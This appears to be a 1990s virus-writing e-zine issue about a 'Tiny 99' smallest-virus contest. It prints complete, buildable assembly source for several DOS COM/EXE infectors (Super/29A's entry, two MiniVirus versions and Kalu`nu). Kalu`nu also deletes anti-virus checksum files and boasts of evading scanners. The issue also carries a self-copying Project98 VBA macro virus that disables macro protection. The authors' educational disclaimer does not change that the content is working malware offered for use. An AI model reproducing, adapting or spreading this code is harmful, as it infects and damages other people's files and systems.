Copyright db '[HEAVY_METAL Virus] by Int13h. Random Damage Code by DARK AVENGER!'


IsComOrExe db 'E'
Buffer db 090h,0cdh,020h
Main_JMP db 0e9h,00h,00h
Trash1 db 'ANTI-VIR.DAT',0
Trash2 db 'AVP.CRC',0
Trash3 db 'CHKLIST.MS',0
Trash4 db 'CHKLIST.CPS',0

EndVirus:
HELLOWEEN dw 0
Handle dw 0
Time dw 0
Date dw 0
Attributes db 0
Old24h dd 0
Microbio db RealSize dup('H')
EXEHeader db 01ah dup(0)

Huesped: mov ax,4c00h


int 21h

end HeavyMetal
SUB
One summer afternoon mgl and flush decided to make a vx writing contest. Since we knew all previouse
attempts on this field failed due the lack of submission or too serious rulez we were facing "little" problem. To
make it as little time consumpting as possible the relust should be short virus able to spread under Dthe OS
operating system. To make virus a little bit harder to code couple of condition should be met:

we banned all overwriting viruses (means non-overvriting only)


both COMs and EXEs should be victims infected correctly
no double infection allowed
no further conditions :P

On the very beginning was my opinion that everyone who should be succesfull should be able to undercode
300 bytes mark. But soon i was pointed to old VLAD #5 issue where i found "Smalest virus ever" by Super.
This piece of code with its 168 bytes got us to the question - is possible to beat such a low limit? An if who
will do it?

There were some very "clever" dudez who actually wanna cheat ... Yes, they requested us to wait till all the
submissions will arrive and the we should pick the shortest one and send to them. They wanted to cut its
lenght by one byte and take win in the contest. Email-s of this kind were forwarded to the place they belong -
to /dev/nul.

Need to say, we didn't expect too much participants but we were suprised only 2 coderz took part in the Tiny
99 Open. Total count of submission was 3.

1 by Super, 2 by Black Jack.

Let's go to the hard core part ....

Ladies and gentlemen, this year the Oscar goes to ... Sorry, i got wrong piece of paper... Name of this year's
winner is:

Super / 29A

second and third palce belongs to

Black Jack

Download source code of Tiny'99 contributions here


SUPER29A.ASM

;THIS VIRUS WAS WRITTEN FOR THE TINY'99 VIRUS CONTEST


;Made by Super/29A

;This virus is a reduced version of my Small virus that appeared in vlad#5

;At that moment it was 168 bytes long.


;Now its 145 bytes!!!

;This virus should work in all versions of msdos, including dos sessions
;inside win3.x/win9x I havent tested in winNT.
;It infects COM &amp; EXE files, without reinfecting them.
;It goes memory resident (only one time, of course)

;thanks to DARKMAN for his 1 byte optimization


;i dont know what i could do without him :-D

;to compile:
;tasm /m29A small.asm
;tlink /t small

.286 ;
.model small ;yeah! small! as always :D
.code ;code starts here... no data X-D
;--------------------------------------------------------------------------

org 100h ;only for COM, the first generation


vir_start:

;Before starting a DOS program, the registers should have the following value:
;eax=00000000
;ebx=00000000
;ecx=000000ff
;dx=ds=es
;esi=eip
;edi=esp
;ebp=0912 (in pure dos)
; =091c (in windows dos session)

;if u run it with debug... forget it! X-DD

EXE_entry: ;here starts execution in EXE infected files


mov al,10h ;due to PSP
db 3ch ;CMP AL,xx
COM_entry:
add si,[si+1] ;when executing a COM file ESI get value of virus
COM_entrypoint
;in EXE files it skips this 3 bytes
add ax,1234h
org $-2
new_cs: dw 0fff0h ;add relative CS to get the old CS of host (in both COM
&amp; EXE files)
add ax,dx ;add PSP
push ax ;push it (for later retf)
push 1234h
org $-2
new_ip: dw 00000h ;push IP (for later give control to host with retf)
SUPER29A.ASM

mov es,bx ;ES=0000


mov ax,220h+(int21-vir_start) ;EAX=lineal address of int21

mov di,84h ;int21 vector in interrupt table


db 66h
xchg ax,es:[di] ;set int21 to int21 virus entry (0020:003C)

scasw
jz exit_to_host ;test if int21 is the same address as the virus
;warning! dont run other program that hooks
;int21 after the virus

mov di,220h ;start of virus in memory


mov cl,vir_size ;virus size=145 bytes = 91h bytes
rep movs byte ptr es:[di],cs:[si] ;copy virus to mem (hole in
;interrupt table)

db 66h
stosw ;store old int21 handler

exit_to_host:
mov es,dx ;restore ES

retf ;return control to host

infect_exe:
shl dx,0ch ;DX=new CS
sub dx,[si-1+8h] ;Adjust for the header size

xchg dx,[si-1+16h] ;Store new CS and get old one


xchg bp,[si-1+14h] ;Store new IP and get old one

add byte [si-1+2h],cl ;Calculate part-page at EOF


;It does not reinfect because
; the carrier flag will be set
; and tested in &quot;write_jump&quot;

jmp short write_jump

;here starts virus int21


;its address is 0020:003c (equivalent to linear address 0000025c)

int21:
pusha ;Save registers
push ds
sub ax,4b00h ;Infect on execute
jnz exit_int21

infect:
xchg si,ax ;SI=0000
;Open file ---&gt;BX=handle
mov ax,3d92h ; bits 0-2=2--&gt; read &amp; write access
int 21h ; bits 4-6=1--&gt; prohibit access by others
xchg bx,ax ; bit 7=1--&gt; private for current process

mov ah,3fh ;
mov cx,20h ; Read first 20h bytes from the file
mov ds,cx ;
cwd ; (DS:DX=0020:0000)
int 21h ;
SUPER29A.ASM

xor cx,cx
mov ax,4202h ; Seek to EOF
int 21h ; (CX &amp; DX are already zero)

mov cl,vir_size ;virus length

xchg ax,bp ;save in BP the value of AX (low word of file size)

lodsb ;get first byte of file

cmp al,'M'
jz infect_exe ;in case of MZ header jump to infect file

infect_com:
cmp al,0e9h ;the COM file must start by a jump
jnz close

xchg bp,[si] ; Store the jump to the virus


add bp,103h ; Calculate the offset where the program jumps
cmp [si],bp ; Test if the file is infected
; (if the jump is 100h bytes before the EOF)
write_jump:
jb close ; Exit if the file is already infected

mov [si-1+20h+(new_ip-vir_start)],bp ; Store the program entry point


mov [si-1+20h+(new_cs-vir_start)],dx ;

mov dx,ds ; (0020:0020 is the start of the code)


write_again:
mov ah,40h ; Write virus to the end of the file
int 21h ; (CX is already the length of the virus)

write_hdr:
mov ax,4200h ;
cwd ; Seek to the start of file
mov cx,dx ;
int 21h ;

mov cx,ds ; (DX is already zero)


inc si
jnp write_again ;go and write the start of modified file
;or should i say infected file ;-D

close:
mov ah,3eh ; Close file
int 21h ;

exit_int21:
pop ds
popa ; Restore registers

db 0eah ; Far jump to old interrupt 21

vir_end:
vir_size equ offset vir_end - offset vir_start
end vir_start
;--------------------------------------------------------------------------
MINIV.ASM

; *************************************************************************
; ******************** ********************
; ******************** MiniVirus ********************
; ******************** by ********************
; ******************** BLACK JACK ********************
; ******************** ********************
; *************************************************************************

comment ~

NAME: MiniVirus (AVs will call it SillyCER.164, I guess)


AUTHOR: Black Jack /LineZer0 /Metaphase
TYPE: Memory resident prepending infector of DOS EXE and COM files.
SIZE: 164 bytes!

COMMENTS: This virus was written for the tiny '99 open, the coding contest of
the *-zine #2. Therefore it is stripped down to its bare bones and
as optimized as possible. As far as I know this is the smallest
parasitic EXE/COM/TSR virus ever!

DESCRIPTION: When an infected file is run, the virus will install itself
memory resident in the upper half of the interrupt vector table,
if it wasn't memory resident before. Then it will hook int 21h
and redirect the original vector to int 3, which will fool some
debuggers and is more optimized. It will then infect EXE and COM
files on execute. The virus will prepend its body and save the
original beginning of the file to the end (non-destructive
overwriting). EXE files are infected exactly the same way as COM
files, that means that they are converted to COM format
internally, and the EXE header will be interptreted manually by
the virus. To reduce code, the virus will only infect EXE files
without an relocation table. The virus won't infect any NewExe
files or files that are too big or too small. It won't reinfect
memory or files.

DRAWBACKS: - is DOS version dependant (depends on initial register values)


- crashes if there's an invalid drive in the command line (AX != 0)
- can only infect very few EXE files
- uses the upper half of the IVT -> instable
- insecure residency check, can lead to system crashes

ASSEMBLE WITH:
TASM /M minivir
TLINK minivir
EXE2BIN minivir.exe minivir.com

DISCLAIMER: I do *NOT* support the spreading of virii in the wild. Therefore,


this source was only written for research and education. Please
do not spread it. The author and his groups can't be hold
responsible for what you decide to do with this source.

~
; ===== CODE STARTS HERE ====================================================

virus_length = ((offset end_virus) - (offset start))


revector = 3

.model tiny
.radix 10
.386
.code
org 0
MINIV.ASM

start:
; The virus assumes the following register values at startup:
; EAX=0
; BX=0
; CX=00FFh
; DX=DS=PSP segment
; SI=IP=100h
; DF=0

; the first two instructions are also the virus name: MV - MiniVirus

dec bp ; "M" - infection mark


push si ; save SI=100h to stack
push es ; save ES to stack

mov es, ax ; ES=segment 0 (IVT)


mov di, 200h ; ES:DI=0:200h (upper half of IVT)

scasb ; scan first byte of IVT for AL=0


JNE return ; es:[di] != 0 ==> already resident
dec di ; set DI back to 200h

; DOS kindly set the following


; values for us:
; DS:SI=start of virus in mem
; CX=00FFh
; DF=0
rep movsb ; copy virus to upper half of the IVT

mov ax, offset new_int21h+200h ; EAX=new vector for int21h


; (most significant word of EAX is 0)
xchg eax, es:[21h*4] ; set viral int21h routine
mov es:[revector*4], eax ; save old int21h vector to int3
; (int 3 => optimized and anti-debug)

return:
db 0B8h ; mov ax, imm16
offset_org_start dw 0-100h ; int 20h in PSP to quit 1st gen

db 0EAh ; far jump to virus in memory to


dw (offset restore + 200h) ; restory the host
dw 0

; ----- RESTORE HOST --------------------------------------------------------

restore:
pop es ; restore ES
pop di ; DI=100h
mov si, ax ; SI = offset of original file start
add si, di ; move original .COM start back

push es ; push far address of starting


push di ; point of host

cmp byte ptr [si], "M" ; is the host an .EXE file?

mov cl, virus_length ; CH is already zero


rep movsb ; move original .COM start back

JE restore_exe

retf ; execute host


MINIV.ASM

restore_exe:
pop di ; restore DI

xchg ax, cx ; move the whole host back


; (DI afterwards will be SI before)
mov si, [si+8-virus_length] ; size of header in paragraphs
shl si, 4 ; convert to bytes
add si, di ; DI=100h (PSP size)
rep movsb ; move host where it belongs

add dx, 10h ; add PSP size to DX (=CS)


add [di+16h], dx ; fix code-segment address

add dx, [di+0Eh] ; DX=stack-segment


mov ss, dx ; set original stack segment
mov sp, [di+10h] ; set original stack-pointer

jmp dword ptr [di+14h] ; jump to original entry point!

; ----- INT 21h HOOK --------------------------------------------------------

new_int21h:
cmp ah, 4Bh ; execute?
JNE org_int21h ; if so, infect .COM/.EXE

infect_exec:
pusha ; save registers
push ds

mov ax, 3D02h ; open file r/w


int revector
xchg bx, ax ; handle to BX where it belongs

push cs ; DS=CS
pop ds

mov si, 300h ; SI=buffer for COM start/EXE header

mov ah, 3Fh ; read from file


mov dx, si ; DS:DX=pointer to buffer
mov cx, virus_length ; length of virus
int revector
sub cx, ax ; filelength < viruslength ?
JNZ close ; if so, don't infect

mov ax, 4202h ; move filepointer to EOF


cwd ; DX=0; CX was already 0 before
int revector

mov [offset_org_start+200h], ax ; save length of file (=offset of


; original com start or EXE header)

mov ah, 40h ; write to file/NewExe marker

cmp byte ptr ds:[si], 'M' ; is it already infected or EXE?


JNE com_file ; it's an uninfected .COM file

exe_file: ; test if it is an infectable .EXE


; (will also avoid reinfections)
MINIV.ASM

cmp word ptr ds:[si+6], dx ; no relocation items? (DX=0 if the


; file is smaller than 64KB,otherwise
; we can't infect the file anyways)
JNE close ; close if it has an relo table

cmp byte ptr ds:[si+18h], ah ; is it any new exe file?


JE close ; we just want to infect DOS EXEs

com_file:
; write original com start to EOF
; AH is already 40h
mov dx, si ; DS:DX=pointer to buffer
mov cl, virus_length ; CX=length to write (CH is already 0)
pusha ; save all registers
int revector

mov ax, 4200h ; move filepointer to beginning of file


xor cx, cx ; DX:CX=0 (new offset relative to SOF)
cwd ; DX=0
int revector

popa ; AH=40h; CX=virus_length; DL=0


mov dh, 2 ; DX=200h=start of virus in memory
int revector ; write firus into file

close:
mov ah, 3Eh ; close file
int revector

pop ds ; restore registers


popa

org_int21h: ; back to original int 21h


int revector
retf 2

end_virus:

end start
MINIVIR.ASM

; *************************************************************************
; ******************** ********************
; ******************** MiniVirus ********************
; ******************** by ********************
; ******************** BLACK JACK ********************
; ******************** ********************
; *************************************************************************

comment ~

NAME: MiniVirus (AVs will call it SillyCER.161, I guess)


AUTHOR: Black Jack /LineZer0 /Metaphase
TYPE: Memory resident prepending infector of DOS EXE and COM files.
SIZE: 161 bytes!

COMMENTS: This virus was written for the tiny '99 open, the coding contest of
the *-zine #2. Therefore it is stripped down to its bare bones and
as optimized as possible.

DESCRIPTION: When an infected file is run, the virus will install itself
memory resident in the upper half of the interrupt vector table,
if it wasn't memory resident before. Then it will hook int 21h
and redirect the original vector to int 3, which will fool some
debuggers and is more optimized. It will then infect EXE and COM
files on execute. The virus will prepend its body and save the
original beginning of the file to the end (non-destructive
overwriting). EXE files are infected exactly the same way as COM
files, that means that they are converted to COM format
internally, and the EXE header will be interptreted manually by
the virus. To reduce code, the virus will only infect EXE files
without an relocation table. The virus won't infect any NewExe
files or files that are too big or too small. It won't reinfect
memory or files.

DRAWBACKS: - depends on initial registers (instable, DOS version dependant)


- can only infect very few EXE files
- uses the upper half of the IVT -> instable
- not ENUNS compatible, will corrupt COM and EXE files of DOS7
(also the EXEs have an ENUNS signature in the beginning, but
this only makes problems with prependers like this).

ASSEMBLE WITH:
TASM /M minivir
TLINK minivir
EXE2BIN minivir.exe minivir.com

DISCLAIMER: I do *NOT* support the spreading of virii in the wild. Therefore,


this source was only written for research and education. Please
do not spread it. The author and his groups can't be hold
responsible for what you decide to do with this source.

~
; ===== CODE STARTS HERE ====================================================

virus_length = ((offset end_virus) - (offset start))


revector = 3

.model tiny
.radix 10
.386
.code
org 0
MINIVIR.ASM

start:
; The virus assumes the following register values at startup:
; most significant word of EAX=0
; BH=0
; CX=00FFh
; DX=DS=PSP segment
; SI=IP=100h
; DF=0

dec bp ; "M" - infection mark


pop es ; ES=0 (IVT segment)
push es ; restore zero at top of stack

push ds ; save DS=PSP segment to stack


push si ; save SI=100h to stack

mov di, 200h ; ES:DI=0:200h (upper half of IVT)

scasb ; scan first byte of IVT for AL=0


JNE return ; es:[di] != 0 ==> already resident
dec di ; set DI back to 200h

mov ax, offset new_int21h+200h ; EAX=new vector for int21h


; (most significant word of EAX is 0)
xchg eax, es:[si-100h+21h*4] ; set viral int21h routine (SI=100h)
mov es:[revector*4], eax ; save old int21h vector to int3
; (int 3 => optimized and anti-debug)

; DOS kindly set the following


; values for us:
; DS:SI=start of virus in mem
; CX=00FFh
; DF=0
rep movsb ; copy virus to upper half of the IVT

return:
db 0B8h ; mov ax, imm16
offset_org_start dw 0-100h ; int 20h in PSP to quit 1st gen

mov bl, 10h ; BX=10h (BH is already zero)


push bx ; push segment 10h
call _retf ; push offset restore+100h
; the retf jumps to restore in the IVT

; ----- RESTORE HOST --------------------------------------------------------

restore:
les di, [bx-16h] ; ES:DI=Program entry point on stack
mov si, ax ; SI = offset of original file start
add si, di ; move original .COM start back

cmp byte ptr [si], "M" ; is the host an .EXE file?

mov cl, virus_length ; CH is already zero


rep movsb ; move original .COM start back

JE restore_exe

_retf:
retf ; execute host

restore_exe:
MINIVIR.ASM

pop di ; restore DI

xchg ax, cx ; move the whole host back


; (DI afterwards will be SI before)
mov si, [si+8-virus_length] ; size of header in paragraphs
shl si, 4 ; convert to bytes
add si, di ; DI=100h (PSP size)
rep movsb ; move host where it belongs

add dx, bx ; add PSP size to DX (=CS)


add [di+16h], dx ; fix code-segment address

add dx, [di+0Eh] ; DX=stack-segment


mov ss, dx ; set original stack segment
mov sp, [di+bx] ; set original stack-pointer (BX=10h)

jmp dword ptr [di+14h] ; jump to original entry point!

; ----- INT 21h HOOK --------------------------------------------------------

new_int21h:
cmp ah, 4Bh ; execute?
JNE org_int21h ; if so, infect .COM/.EXE

infect_exec:
pusha ; save registers
push ds

mov ax, 3D02h ; open file r/w


int revector
xchg bx, ax ; handle to BX where it belongs

push cs ; DS=CS
pop ds

mov si, 300h ; SI=buffer for COM start/EXE header

mov ah, 3Fh ; read from file


mov cx, virus_length ; length of virus
mov dx, si ; DS:DX=pointer to buffer
int revector
sub cx, ax ; filelength < viruslength ?
JNZ close ; if so, don't infect

mov ax, 4202h ; move filepointer to EOF


cwd ; DX=0; CX was already 0 before
int revector

mov [offset_org_start+200h], ax ; save length of file (=offset of


; original com start or EXE header)

mov ah, 40h ; write to file/NewExe marker

cmp byte ptr ds:[si], 'M' ; is it already infected or EXE?


JNE com_file ; it's an uninfected .COM file

exe_file: ; test if it is an infectable .EXE


; (will also avoid reinfections)

cmp word ptr ds:[si+6], dx ; no relocation items? (DX=0 if the


; file is smaller than 64KB,otherwise
MINIVIR.ASM

; we can't infect the file anyways)


JNE close ; close if it has an relo table

cmp byte ptr ds:[si+18h], ah ; is it any new exe file?


JE close ; we just want to infect DOS EXEs

com_file:
; write original com start to EOF
; AH is already 40h
mov dx, si ; DS:DX=pointer to buffer
mov cl, virus_length ; CX=length to write (CH is already 0)
pusha ; save all registers
int revector

mov ax, 4200h ; move filepointer to beginning of file


xor cx, cx ; DX:CX=0 (new offset relative to SOF)
cwd ; DX=0
int revector

popa ; AH=40h; CX=virus_length; DL=0


mov dh, 2 ; DX=200h=start of virus in memory
int revector ; write firus into file

close:
mov ah, 3Eh ; close file
int revector

pop ds ; restore registers


popa

org_int21h: ; back to original int 21h


int revector
retf 2

end_virus:

end start
Kanu`lu is a DOS EXE/COM two-layered encrypted appending virus. A quite simple virus with most popular
DOS capabilities, and some little (non descrutcive) action as well...

Download source code of Kalu`nu here


KALU'NU.ASM

;******-< Author Info >-**********************************************;


; Virus Name : Kalu`nu ;
; Author : Kamaileon ;
; : aKa Decimator ;
; Group : The Shadow Virus Group [TSVG] ;
; : http://www.virusexchange.org/shadowvx/ ;
; Author e-mail : kamaileon@antisocial.com ;
; : kamaileon@mail.ru ;
; Origin : Brasil, Ago '99 ;
; Irc : #vir , #virus , #vxtrader , #shadowvx ;
; Icq uin : #48473940 ;
; ;
;******-< Bio-Code Info >-**********************************************;
; Compiling : Tasm/m3 destru.asm
;
; : Tlink/t destru.obj
;
; Targetz : EXE/COM files (Append Method)
;
; Size : 1239 bytes ;
; Resident : Nope
;
; PolyMorphic : Nope
;
; Encryption : Two layers, with XOR and NOT instructions
;
; Stealth : Just the old ones, nothing new in this side
;
; Tunneling : Nope
;
; Retro : Delete some CRC filez ;
; Payload : Create some Directorys and show a msg ;
; Trigger : 10th of every month ;
; Armoury : int24h adress change crashs some debuggers ;
; AntiHeuristics : Encryption and AntiEmul avoids all flags
;
;
;
;******-< Peculiarities
>-**********************************************;
; - Search fo every file and verify the extension of him, so infects only
;
; EXE and COM filez.
;
; - As infection marker he makes equal the days field and secs field. ;
; - The 2 layers of encryption and Ant-Emulation loop does all the work
;
; against fucka AVs.
;
; - Obs: The 2 Encryption routines are little differents. ;
; - The checked extensions are .CO* and .EX* , this can cause some trouble
;
; if he get another files, but who cares? ;
; - The AntiEmul loop could works like a psychological weapon, bcoz it ;
; causes a strong slowdown in some AVs. ;
;
;
;******-< Greetz and Thanks
>-**********************************************;
; Thanks to Pruslas, MetalKid and Raid, for test this. ;
; Greetz for all ppl from #vir #virus #vxtrader #vx-vtc #shadowvx ;
; Raid: Greetz for Toadie and the fucka Creed!! :) ;
KALU'NU.ASM

; Trev and Tbh: For the funny times in #vir or #virus, buahahahahhahah ;
;
;
;******-< AV's Scan >-**********************************************;
; Name Results Comments
;
; AVP 3.0 build 131 Dont Detect :P
;
; Avast32 3.0 build 162 Dont Detect :P ;
; InVircible 7.02 build 295a Dont Detect :P ;
; Dr.WEB 4/05 Beta Dont Detect :P
;
; VirusBUSTER release1999 Dont Detect :P ;
; McAfee VirusScan 4.0.3 Dont Detect :P
;
; NOD32 Dont Detect :P
;
; NAV 5.00.01a Dont Detect :P
;
; Ivz 7.02m Dont Detect :P ;
; F-prot 3.05b DOS Dont Detect :P
;
; VirusBuster V8.03.557 Dont Detect :P ;
; Panda AV Platinum 6.08.00 Dont Detect :P
;
; Panda AV Win95/98 6.0 Dont Detect :P
;
; F-Secure AV 4.04 Win95 Dont Detect :P
;
; FindVirus 7.97 Dont Detect :P
;
; RHBVS Version 2.54.05 Dont Detect :P ;
; VirusScan Plus (VSP) Dont Detect :P ;
; ;
; Command AV Win95 v4.57 Sometimes flag some :O ;
; files, as BHound Hibrid ;
; ;
; TBAV 8.09b Win95 Dont Detect Sometimes trigger some flags
;
; (high Heuristic mode) but he dont see the virii
:));
; ;
; PS: TBAV and Command AV probably ;
; dont goes beyond the encryption, ;
; leaving the main code safe. *Test on 2nd Generations ;
; ;
;******-< I love this Job
>-**********************************************;
;******-< ShowTime!!!
>-**********************************************;

code segment

assume cs:code,ds:code

jumps

org 100h
KALU'NU.ASM

EncKey equ 1eh

EncKey2 equ 21h

begin:

push ds

mov bp, sp
int 03h
DeltaOff:
mov si, ss:[bp-6]
sub si, offset DeltaOff
xchg si, bp

push cs cs
pop es ds

mov ax, word ptr [bp+InfectType]


mov word ptr [bp+TmpInfectType], ax

Fake:
mov cx, 0ffffh
Anti:
db 9ch
xchg ax, bx
and ax, 666h
xor bx, ax
xchg bx, ax
xor bx, ax
not bx
shr ax, 4
db 9dh
loop Anti

cmp word ptr [bp+InfectType], 00h


je contin
call first

call Sec
jmp contin

InfectType dw ?

first:
mov cx, (end_virus-Sec+1)/2
lea di, [bp+Sec]
mov si, di
mov ah, EncKey
firstloop:
lodsb
xor ah, 13h
xor al, ah
not al
stosb
loop firstloop
ret
KALU'NU.ASM

Sec:
mov cx, (end_virus-contin+1)/2
lea di, [bp+contin]
mov si, di
mov ah, EncKey2
Secloop:
lodsb
not al
xor al, ah
xor ah, 13h
stosb
loop Secloop
ret

contin:
cmp word ptr [bp+InfectType], 1
je restoreCOM
cmp word ptr [bp+InfectType], 0
je setDTA
jmp restoreEXE

old3 db 0cdh, 20h, 0

restoreCOM:
mov di, 100h
lea si, [bp+offset old3]
movsw
movsb
jmp setDTA

restoreEXE:
lea di, [bp+storeIP]
lea si, [bp+oldIP]
movsw
movsw
movsw
movsw

setDTA:
mov ah, 1ah
lea dx, [bp+offset newDTA]
int 21h

push es
mov ax, 3524h
int 21h
mov [bp+word ptr OldInt24h], bx
mov [bp+word ptr OldInt24h+2], es
pop es

mov ax, 2524h


lea dx, [bp+NewInt24Hand]
int 21h

mov ah, 2ah


int 21h
cmp dl, 0ah
je PayBack

mov ah, 4eh


next:
lea dx, [bp+Filez]
KALU'NU.ASM

mov cx, 7
int 21h
jnc VerifyExt
jmp exit

VerifyExt:
push ax cx di es

push ds
pop es

lea dx, [bp+newDTA+1eh]


mov di, dx
mov cx, 64
mov al, '.'
repnz scasb

cmp [di], 'OC'


je infectCOM
cmp [di], 'XE'
je infectEXE
jmp KiLLCRCs

infectEXE:
pop es di cx ax
mov word ptr [bp+InfectType], 2
call OpenFile
je Damm
mov ah, 3fh
mov cx, 1ch
lea dx, [bp+header]
int 21h

mov al, byte ptr [bp+header]


add al, byte ptr [bp+header+1]
cmp al, 'M'+'Z'
jne Damm
jmp cont

cont:
call saveheader

mov al, 02h


call seek

push ax dx

call calcCSIP

pop dx ax

call calcsize

call writevirus

xor ax, ax
call seek

mov ah, 40h


mov cx, 1ch
lea dx, [bp+header]
KALU'NU.ASM

int 21h

call CloseFile

mov ah, 4fh


jmp NoMatch

infectCOM:
pop es di cx ax
mov word ptr [bp+InfectType], 1
call OpenFile
je Damm

mov ah, 3fh


mov cx, 3
lea dx, [bp+old3]
int 21h

mov al, 02h


call seek

mov ax, word ptr [bp+newDTA+1ah]


sub ax, 3
mov word ptr [bp+jump+1], ax

xor ax, ax
call seek

mov ah, 40h


mov cx, 3
lea dx, [bp+jump]
int 21h

mov al, 02h


call seek

call writevirus

call CloseFile
jmp NoMatch

exit:
pop ds
mov dx, 80h
mov ah, 1ah
int 21h

mov ax, 2524h


lea dx, [bp+OldInt24h]
int 21h

cmp word ptr [bp+TmpInfectType], 1


je HostCOM
cmp word ptr [bp+TmpInfectType], 0
je nobody
jmp hostEXE

nobody:
int 20h

HostCOM:
push 100h
KALU'NU.ASM

retn

HostEXE:
push ds
pop es

mov ax, es
add ax, 10h

add word ptr cs:[bp+storeCS], ax

cli
add ax, word ptr cs:[bp+storeSS]
mov ss, ax
mov sp, word ptr cs:[bp+storeSP]
sti

db 0eah

storeIP dw 0
storeCS dw 0
storeSP dw 0
storeSS dw 0

oldIP dw 0
oldCS dw 0fff0h
oldSP dw 0
oldSS dw 0fff0h

PayBack:
mov cx, 235
loopDir:
mov ah, 39h
lea dx, DirName
int 21h
inc DirName
loop loopDir

mov ah, 09h


lea dx, [bp+PayMsg]
int 21h
jmp exit

DirName db '!.Kalu`nu',0

PayMsg db 'Im feelin like a bad boy',10,13


db 'Mn just a like a bad boy',10,13
db 'Im rippin up a Rag Doll',10,13
db 'Like throwin away an old toy',10,13
db 'Some babes talkin real loud',10,13
db 'Talkin all about the new crowd',10,13
db 'Try and tell me of an old dream',10,13
db 'A new version of old scene',10,13
db '',10,13
db ' (c) Kalu`nu ','$'

KiLLCRCs:
pop es di cx ax
lea dx, [bp+kill1CRC]
call KiLL
lea dx, [bp+kill2CRC]
call KiLL
KALU'NU.ASM

lea dx, [bp+kill3CRC]


call KiLL
lea dx, [bp+kill4CRC]
call KiLL
lea dx, [bp+kill5CRC]
call KiLL
lea dx, [bp+kill6CRC]
call KiLL
jmp NoMatch

KiLL:
mov ax, 4301h
xor cx, cx
int 21h

mov ah, 41h


int 21h
ret

kill1CRC db 'ANTI-VIR.DAT',0
kill2CRC db 'CHKLIST.MS',0
kill3CRC db 'SMARTCHK.CPS',0
kill4CRC db 'AVP.CRC',0
kill5CRC db 'IVB.NTZ',0
kill6CRC db 'CHKLIST.TAV',0

NewInt24Hand:
xchg ax, ax
iret

Damm:
call CloseFile
NoMatch:
mov ah, 4fh
jmp next

writevirus:
call Sec
call first
mov cx, end_virus-begin
lea dx, [bp+offset begin]
mov ah, 40h
int 21h
call first
call sec
ret

saveheader:
mov ax, word ptr [bp+header+0eh]
mov word ptr [bp+oldSS], ax
mov ax, word ptr [bp+header+10h]
mov word ptr [bp+oldSP], ax
mov ax, word ptr [bp+header+14h]
mov word ptr [bp+oldIP], ax
mov ax, word ptr [bp+header+16h]
mov word ptr [bp+oldCS], ax
ret

CalcCSIP:
push ax
mov ax, word ptr [bp+header+8]
mov cl, 4
KALU'NU.ASM

shl ax, cl
mov cx, ax
pop ax

sub ax, cx
sbb dx, 0

mov cl, 0ch


shl dx, cl
mov cl, 4
push ax
shr ax, cl
add dx, ax
shl ax, cl
pop cx
sub cx, ax
mov word ptr [bp+header+14h], cx
mov word ptr [bp+header+16h], dx
mov word ptr [bp+header+0eh], dx
mov word ptr [bp+header+10h], 0fffeh
ret

calcsize:
push ax

add ax, end_virus-begin


adc dx, 0
mov cl, 7
shl dx, cl
mov cl, 9
shr ax, cl
add ax, dx
inc ax
mov word ptr [bp+header+04], ax
pop ax
mov dx, ax
shr ax, cl
shl ax, cl
sub dx, ax
mov word ptr [bp+header+02], dx
ret

seek:
mov ah, 42h
xor cx, cx
cwd
int 21h
ret

OpenFile:
mov ax, 4300h
lea dx, [bp+offset newDTA+1eh]
int 21h
mov word ptr [bp+file_attr], cx

mov ax, 4301h


lea dx, [bp+offset newDTA+1eh]
xor cx, cx
int 21h

mov ax, 3d02h


lea dx, [bp+offset newDTA+1eh]
KALU'NU.ASM

int 21h

xchg bx, ax

mov ax, 5700h


int 21h
mov word ptr [bp+file_time], cx
mov word ptr [bp+file_date], dx
and cx, 0000000000011111b
and dx, 0000000000011111b
cmp cx, dx
ret

CloseFile:
mov ax, 5701h
mov dx, word ptr [bp+file_date]
mov cx, word ptr [bp+file_time]
and cx, 1111111111100000b
and dx, 0000000000011111b
or cx, dx
mov dx, word ptr [bp+file_date]
int 21h

mov ah, 3eh


int 21h

mov ax, 4301h


lea dx, [bp+offset newDTA+1eh]
mov cx, word ptr [bp+file_attr]
int 21h
ret

VirusName db 'Kalu`nu Virus', 0


Author db 'Kamaileon', 0
VxGroup db 'TSVG - The Shadow Virus Group', 0

OldInt24h dd 00h
jump db 0e9h,0,0
TmpInfectType dw ?
Filez db '*.*',0
file_attr dw ?
file_time dw ?
file_date dw ?

end_virus:
newDTA db 43 dup (?)
header db 1ch dup (?)

code ends
end begin
After Anarchy.6093 this was the next non-macro virii able to infect wb6 documents. This virii was designed to
work under ring-0 as vxd. For this reason author developed its own vxd infecting routine (we need to say it
was not very stable - doesn't work under win98). In infection of doc there are still some bugs. Virii is strictly
modularized (this is reason why a biggest part of code in 29A disassembly is missing) - and this is what i
believe is not very common for today viruses. Hovever author claims that this will be neccessary for future,
giving many other possibilities. In this virii is used as unified model for relocating code. All such a difficult
management is there because of idea of creating self-adaptible modular system, or known as genetic-
system (or genetical virus). Mentioned genetical virus can be able to self-optimize its own genes (modules)
from available set of genes to reach optimal performace. However, it is still not finished and most probably
will not ever be, as particular ideas are already obsolete and a new and better ones were developed. Thats
why the main aim of this virus - a genetical system - is not that vissible and a release of this virus as well as
his source code waits so long.

Because original source code of this virii were lost we introduce you sources of a bit newer version capable
of infection of DOS4GW extended programs. There are fixed some bugs and work under '98 too. We hope
you will appreciate work of this author and you will take a look at it.

Download source code of HZDS (Navrhar) here


This is the first Project98 virus (at least author claims that). You can again watch the power of visual basic...
in which other language you can write virii for 19 lines? If you are interested in just click and see.

May be we will once see project that can infect all vba platforms ...

Download source code of Proj98 here


PROJECT.VBS

Private Sub Project_Deactivate(ByVal pj As MSProject.Project)


'
Application.MacroVirusProtection = False
Dim X As Project
For Each X In Projects
On Error Resume Next
Set ap = X.VBProject.VBComponents(1).CodeModule
Set tp = ThisProject.VBProject.VBComponents(1).CodeModule
If ap.Lines(2, 1) <> "'" Then
ap.deletelines 1, ap.countoflines
ap.insertlines 1, tp.Lines(1, tp.countoflines)
Application.FileSaveAs Name:=ActiveProject.Name
End If
Next X
If (Day(Now)) >= 15 And (Minute(Now)) = 55 Then
MsgBox "Welcome to the Worlds First Project98 Macro Virus !!!!", vbCritical,
"Proj98/fLaShBaCk"
End If
End Sub

---cut here----
'Put this in the 2nd ish o your mag ??

'with l0ve AntiStateTortoise


This is next work from authors of SlovakDictator. This time virii is much more faster :) In this work authors
changed their strategy. Their goal was to create absolutely polymorphic virus in macro code. Real code is
stored in autotext and is totally static. Macro is only a small loader that do nothing more that pastes autotext
to new macro and executes it. The main goal of this macro is to create loader named according target where
it is stored. Macro contains "static" lines with substituted random variables and padded by garbage to make
